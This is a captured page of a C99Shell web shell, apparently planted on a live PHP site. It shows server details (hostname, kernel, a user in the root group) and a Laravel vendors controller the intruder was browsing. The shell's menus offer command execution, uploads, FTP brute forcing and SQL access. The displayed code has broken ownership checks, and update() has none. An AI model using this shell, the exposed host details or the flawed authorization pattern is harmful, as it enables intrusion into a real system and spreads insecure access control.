!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/modules/Expenses/Http/Controllers/   drwxr-xr-x
Free 28.43 GB of 117.98 GB (24.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VendorsController.php (5.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Expenses\Http\Controllers;

use 
Illuminate\Http\Request;
use 
Illuminate\Http\Response;
use 
App\Http\Controllers\Controller;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Str;


use 
App\RestoArea;
use 
App\Tables;
use 
Modules\Expenses\Models\Vendors ;

class 
VendorsController extends Controller
{
    
/**
     * Provide class.
     */
    
private $provider Vendors::class;

    
/**
     * Web RoutePath for the name of the routes.
     */
    
private $webroute_path 'expenses.vendors.';

    
/**
     * View path.
     */
    
private $view_path 'expenses::vendors.';

    
/**
     * Parameter name.
     */
    
private $parameter_name 'vendor';

    
/**
     * Title of this crud.
     */
    
private $title 'vendor';

    
/**
     * Title of this crud in plural.
     */
    
private $titlePlural 'vendors';

    
/**
     * Auth checker functin for the crud.
     */
    
private function authChecker()
    {
        if (! 
auth()->user()->hasRole('owner')) {
            
abort(403'Unauthorized action.');
        }
    }

    private function 
getFields()
    {
        return [
            [
'class'=>'col-md-4''ftype'=>'input''name'=>'Name''id'=>'name''placeholder'=>'Vendor name''required'=>true],
            [
'class'=>'col-md-4''ftype'=>'input''name'=>'Code''id'=>'code''placeholder'=>'Category code''required'=>true],
        ];
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        
$this->authChecker();
        
$fields=$this->getFields();
    

        return 
view($this->view_path.'index', ['setup' => [
            
'title'=>__('crud.item_managment', ['item'=>__($this->titlePlural)]),
            
'action_link'=>route('expenses.expenses.index'),
            
'action_name'=>__('crud.back'),
            
'action_link2'=>route($this->webroute_path.'create'),
            
'action_name2'=>__('crud.add_new_item', ['item'=>__($this->title)]),
            
'items'=>Vendors::paginate(config('settings.paginate')),
            
'item_names'=>$this->titlePlural,
            
'webroute_path'=>$this->webroute_path,
            
'fields'=>$fields,
            
'parameter_name'=>$this->parameter_name,
        ]]);
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        
$this->authChecker();

        return 
view('general.form', ['setup' => [
            
'inrow'=>true,
            
'title'=>__('crud.new_item', ['item'=>__($this->title)]),
            
'action_link'=>route($this->webroute_path.'index'),
            
'action_name'=>__('crud.back'),
            
'iscontent'=>true,
            
'action'=>route($this->webroute_path.'store'),
        ],
        
'fields'=>$this->getFields(), ]);
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {

        
$this->authChecker();
        
$item $this->provider::create([
            
'name'=>$request->name,
            
'code'=>$request->code
        
]);
        
$item->save();

        return 
redirect()->route($this->webroute_path.'index')->withStatus(__('crud.item_has_been_added', ['item'=>__($this->title)]));
    }

    
/**
     * Display the specified resource.
     *
     * @param  \App\Tables  $tables
     * @return \Illuminate\Http\Response
     */
    
public function show(Tables $tables)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Tables  $tables
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
        
$this->authChecker();
        
        
$item $this->provider::findOrFail($id);
        if (!
$this->getRestaurant()->id==$item->restaurant_id) {
            
abort(403'Unauthorized action.');
        }

        
$fields $this->getFields();
        
$fields[0]['value'] = $item->name;
        
$fields[1]['value'] = $item->code;

        
$parameter = [];
        
$parameter[$this->parameter_name] = $id;

        return 
view('general.form', ['setup' => [
            
'inrow'=>true,
            
'title'=>__('crud.edit_item_name', ['item'=>__($this->title), 'name'=>$item->name]),
            
'action_link'=>route($this->webroute_path.'index'),
            
'action_name'=>__('crud.back'),
            
'iscontent'=>true,
            
'isupdate'=>true,
            
'action'=>route($this->webroute_path.'update'$parameter),
        ],
        
'fields'=>$fields, ]);
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Tables  $tables
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        
$this->authChecker();
        
$item $this->provider::findOrFail($id);
        
$item->name $request->name;
        
$item->code $request->code;
        
$item->update();

        return 
redirect()->route($this->webroute_path.'index')->withStatus(__('crud.item_has_been_updated', ['item'=>__($this->title)]));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  \App\Tables  $tables
     * @return \Illuminate\Http\Response
     */
    
public function destroy($id)
    {
        
$this->authChecker();
        
$item $this->provider::findOrFail($id);
        if (!
$this->getRestaurant()->id==$item->restaurant_id) {
            
abort(403'Unauthorized action.');
        }
        
$item->delete();

        return 
redirect()->route($this->webroute_path.'index')->withStatus(__('crud.item_has_been_removed', ['item'=>__($this->title)]));
    }
}



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--